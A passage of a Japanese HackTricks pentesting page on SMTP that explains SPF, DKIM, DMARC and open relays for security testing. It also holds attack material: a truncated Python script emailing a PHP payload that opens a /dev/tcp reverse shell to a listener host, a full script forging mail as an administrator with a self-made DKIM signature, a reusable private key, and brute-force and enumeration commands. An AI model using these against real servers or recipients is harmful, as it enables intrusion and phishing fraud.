lhost = “127.0.0.1” lport = 443 rhost = “192.168.1.1” rport = 25 # 489,587

create message object instance

msg = MIMEMultipart()

setup the parameters of the message

password = “” msg[‘From’] = “attacker@local” msg[‘To’] = “victim@local” msg[‘Subject’] = “This is not a drill!”

payload

message = (“& /dev/tcp/%s/%d 0>&1'); ?>” % (lhost,lport))

print(“[*] Payload is generated : %s” % message)

msg.attach(MIMEText(message, ‘plain’)) server = smtplib.SMTP(host=rhost,port=rport)

if server.noop()[0] != 250: print(“[-]Connection Error”) exit()

server.starttls()

Uncomment if log-in with authencation

server.login(msg[‘From’], password)

server.sendmail(msg[‘From’], msg[‘To’], msg.as_string()) server.quit()

print(“[***]successfully sent email to %s:” % (msg[‘To’]))

</details>

## SMTPスムーグリング

SMTPスムーグリングの脆弱性により、すべてのSMTP保護をバイパスすることが可能でした（保護に関する詳細は次のセクションを参照してください）。SMTPスムーグリングの詳細については次を確認してください：

<a class="content_ref" href="smtp-smuggling.md"><span class="content_ref_label">SMTP Smuggling</span></a>

## メールスプーフィング対策

組織は、SMTPメッセージのスプーフィングの容易さから、**SPF**、**DKIM**、および**DMARC**を使用することで、無許可のメールが自分たちの名義で送信されるのを防ぎます。

**これらの対策に関する完全なガイド**は[https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/)で入手できます。

### SPF

> [!CAUTION]
> SPF [は2014年に「非推奨」とされました](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/)。これは、`_spf.domain.com`に**TXTレコード**を作成する代わりに、**同じ構文**を使用して`domain.com`に作成することを意味します。\
> さらに、以前のspfレコードを再利用するために、`"v=spf1 include:_spf.google.com ~all"`のようなものを見つけることは非常に一般的です。

**Sender Policy Framework**（SPF）は、メール転送エージェント（MTA）が、メールを送信しているホストが組織によって定義された承認されたメールサーバーのリストを照会することで、そのホストがメールを送信する権限があるかどうかを確認できるメカニズムです。このリストには、**ドメイン名を代表してメールを送信することを許可された**さまざまな「**メカニズム**」が含まれています。

#### メカニズム

[Wikipedia](https://en.wikipedia.org/wiki/Sender_Policy_Framework)から：

| メカニズム | 説明                                                                                                                                                                                                                                                                                                                         |
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL       | 常に一致します。以前のメカニズムで一致しなかったすべてのIPに対して、`-all`のようなデフォルトの結果に使用されます。                                                                                                                                                                                                                                  |
| A         | ドメイン名に送信者のアドレスに解決できるアドレスレコード（AまたはAAAA）がある場合、一致します。                                                                                                                                                                                                                   |
| IP4       | 送信者が指定されたIPv4アドレス範囲にある場合、一致します。                                                                                                                                                                                                                                                                              |
| IP6       | 送信者が指定されたIPv6アドレス範囲にある場合、一致します。                                                                                                                                                                                                                                                                              |
| MX        | ドメイン名に送信者のアドレスに解決するMXレコードがある場合、一致します（つまり、メールはドメインの受信メールサーバーの1つから来ます）。                                                                                                                                                                          |
| PTR       | クライアントのアドレスのドメイン名（PTRレコード）が指定されたドメインにあり、そのドメイン名がクライアントのアドレスに解決する場合（前方確認された逆DNS）、一致します。このメカニズムは推奨されず、可能な限り避けるべきです。                                                                                     |
| EXISTS    | 指定されたドメイン名が任意のアドレスに解決する場合、一致します（解決されるアドレスに関係なく）。これはめったに使用されません。SPFマクロ言語と組み合わせることで、DNSBLクエリのようなより複雑な一致を提供します。                                                                                                                           |
| INCLUDE   | 別のドメインのポリシーを参照します。そのドメインのポリシーが通過すれば、このメカニズムも通過します。ただし、含まれたポリシーが失敗した場合、処理は続行されます。他のドメインのポリシーに完全に委任するには、リダイレクト拡張を使用する必要があります。                                                                                     |
| REDIRECT  | <p>リダイレクトは、SPFポリシーをホストする別のドメイン名へのポインタであり、複数のドメインが同じSPFポリシーを共有できるようにします。これは、同じメールインフラストラクチャを共有する多数のドメインを扱う際に便利です。</p><p>リダイレクトメカニズムで示されたドメインのSPFポリシーが使用されます。</p> |

**クオリファイア**を特定することも可能で、**メカニズムが一致した場合に何をすべきか**を示します。デフォルトでは、**クオリファイア「+」**が使用されます（したがって、いずれかのメカニズムが一致する場合、それは許可されていることを意味します）。\
通常、**各SPFポリシーの最後に**、**\~all**または**-all**のようなものが記載されています。これは、**送信者がどのSPFポリシーにも一致しない場合、メールを信頼できない（\~）としてタグ付けするか、メールを拒否する（-）べきであることを示します。**

#### クオリファイア

ポリシー内の各メカニズムは、意図された結果を定義するために4つのクオリファイアのいずれかで接頭辞を付けることができます：

- **`+`**: PASS結果に対応します。デフォルトで、メカニズムはこのクオリファイアを仮定し、`+mx`は`mx`と同等です。
- **`?`**: NEUTRAL結果を表し、NONE（特定のポリシーなし）と同様に扱われます。
- **`~`**: SOFTFAILを示し、NEUTRALとFAILの中間の立場を取ります。この結果に該当するメールは通常受け入れられますが、適切にマークされます。
- **`-`**: FAILを示し、メールは完全に拒否されるべきであることを示唆します。

次の例では、**google.comのSPFポリシー**が示されています。最初のSPFポリシー内に異なるドメインからのSPFポリシーが含まれていることに注意してください：
```shell-session
dig txt google.com | grep spf
google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"

dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com.               IN      TXT
_spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"

dig txt _netblocks.google.com | grep spf
_netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"

dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"

従来、正しい/任意のSPFレコードを持たない任意のドメイン名を偽装することが可能でした。現在、メールが有効なSPFレコードを持たないドメインから送信される場合、おそらく自動的に拒否される/信頼されていないとマークされるでしょう。

ドメインのSPFを確認するには、次のようなオンラインツールを使用できます: https://www.kitterman.com/spf/validate.html

DKIM (DomainKeys Identified Mail)

DKIMは、外部のメール転送エージェント（MTA）による検証を可能にするために、送信メールに署名するために利用されます。これにより、ドメインの公開鍵をDNSから取得できます。この公開鍵は、ドメインのTXTレコードにあります。この鍵にアクセスするには、セレクタとドメイン名の両方を知っている必要があります。

例えば、鍵を要求するには、ドメイン名とセレクタが必要です。これらはメールヘッダーのDKIM-Signatureに見つけることができます。例: d=gmail.com;s=20120113。

この情報を取得するためのコマンドは次のようになります:

dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3

DMARC (Domain-based Message Authentication, Reporting & Conformance)

DMARCは、SPFおよびDKIMプロトコルを基にしてメールセキュリティを強化します。特定のドメインからのメールの取り扱いに関するポリシーを定め、認証失敗への対処方法やメール処理アクションに関する報告をどこに送信するかを示します。

DMARCレコードを取得するには、サブドメイン_dmarcをクエリする必要があります

# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com.	3600	IN	TXT	"v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"

# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com.	300	IN	TXT	"v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"

# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com.	3600	IN	TXT	"v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"

DMARCタグ

サブドメインについては？

ここから こちら.
メールを送信する各サブドメインには、別々のSPFレコードが必要です。
以下は、以前openspf.orgに投稿されたもので、この種の情報にとって素晴らしいリソースでした。

デーモンの質問: サブドメインについては？

pielovers.demon.co.ukからメールを受け取った場合、pieloversのSPFデータがない場合、1つ上のレベルに戻ってdemon.co.ukのSPFをテストすべきですか？ いいえ。Demonの各サブドメインは異なる顧客であり、各顧客は独自のポリシーを持っている可能性があります。Demonのポリシーがすべての顧客にデフォルトで適用されるのは理にかなっていません。Demonがそれを望む場合、各サブドメインのためにSPFレコードを設定できます。

したがって、SPF発行者へのアドバイスは次のとおりです: AまたはMXレコードを持つ各サブドメインまたはホスト名に対してSPFレコードを追加する必要があります。

ワイルドカードAまたはMXレコードを持つサイトは、次の形式のワイルドカードSPFレコードも持つべきです: * IN TXT “v=spf1 -all”

これは理にかなっています - サブドメインは異なる地理的場所にあり、非常に異なるSPF定義を持つ可能性があります。

オープンリレー

メールが送信される際、スパムとしてフラグが立てられないようにすることが重要です。これは、受信者によって信頼されるリレーサーバーを使用することで達成されることが多いです。しかし、一般的な課題は、管理者がどのIP範囲が許可されるべきかを完全に理解していないことです。この理解の欠如は、SMTPサーバーの設定におけるミスを引き起こす可能性があり、これはセキュリティ評価で頻繁に特定されるリスクです。

特に潜在的または進行中のクライアントとの通信に関するメール配信の問題を回避するために、一部の管理者が使用する回避策は、任意のIPアドレスからの接続を許可することです。これは、以下に示すように、SMTPサーバーのmynetworksパラメータをすべてのIPアドレスを受け入れるように設定することで行われます。

mynetworks = 0.0.0.0/0

メールサーバーがオープンリレーであるかどうかを確認するために（これは外部ソースからのメールを転送できることを意味します）、nmapツールが一般的に使用されます。これには、これをテストするために設計された特定のスクリプトが含まれています。サーバー（例えば、IP 10.10.10.10）でポート25を使用してnmapで詳細スキャンを実行するためのコマンドは次のとおりです：

nmap -p25 --script smtp-open-relay 10.10.10.10 -v

ツール

• https://github.com/serain/mailspoof SPFおよびDMARCの設定ミスをチェック
• https://pypi.org/project/checkdmarc/ SPFおよびDMARCの設定を自動的に取得

スプーフィングメールを送信

• https://www.mailsploit.com/index
• http://www.anonymailer.net/
• https://emkei.cz/

または、ツールを使用することもできます:

• https://github.com/magichk/magicspoofing

# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com

Warning

DKIM Pythonライブラリでキーの解析中にエラーが発生した場合は、以下のものを自由に使用してください。
注意: これは、何らかの理由でopensslプライベートキーがdkimによって解析できない場合に迅速なチェックを行うための簡易的な修正です。

-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----

または手動で行うこともできます:

# これは署名されていないメッセージを送信します
mail("your_email@gmail.com", "Test Subject!", "hey! This is a test", "From: administrator@victim.com");

# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py

import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase

# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
</html>
"""
sender_domain=sender.split("@")[1]

# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")

# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
dkim_private_key = fh.read()

# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()

# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()

# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)

詳細情報

これらの保護に関する詳細情報は https://seanthegeek.net/459/demystifying-dmarc/ で確認できます。

その他のフィッシング指標

• ドメインの年齢
• IPアドレスを指すリンク
• リンク操作技術
• 疑わしい（一般的でない）添付ファイル
• 壊れたメールコンテンツ
• メールヘッダーの値と異なる値の使用
• 有効で信頼できるSSL証明書の存在
• ウェブコンテンツフィルタリングサイトへのページの提出

SMTPを通じた情報漏洩

SMTPを介してデータを送信できる場合は これを読んでください。

設定ファイル

Postfix

通常、インストールされている場合、/etc/postfix/master.cf には、例えば新しいメールがユーザーによって受信されたときに実行されるスクリプトが含まれています。例えば、flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} という行は、ユーザーmarkが新しいメールを受信した場合に/etc/postfix/filteringが実行されることを意味します。

他の設定ファイル:

sendmail.cf
submit.cf

参考文献

• https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/
• https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with_misconfigured_smtp/

HackTricks 自動コマンド

Protocol_Name: SMTP    #Protocol Abbreviation if there is one.
Port_Number:  25,465,587     #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html

Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25

Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}

Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}

Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587

Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}

Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V

Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

• サブスクリプションプランを確認してください！
• **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
• HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。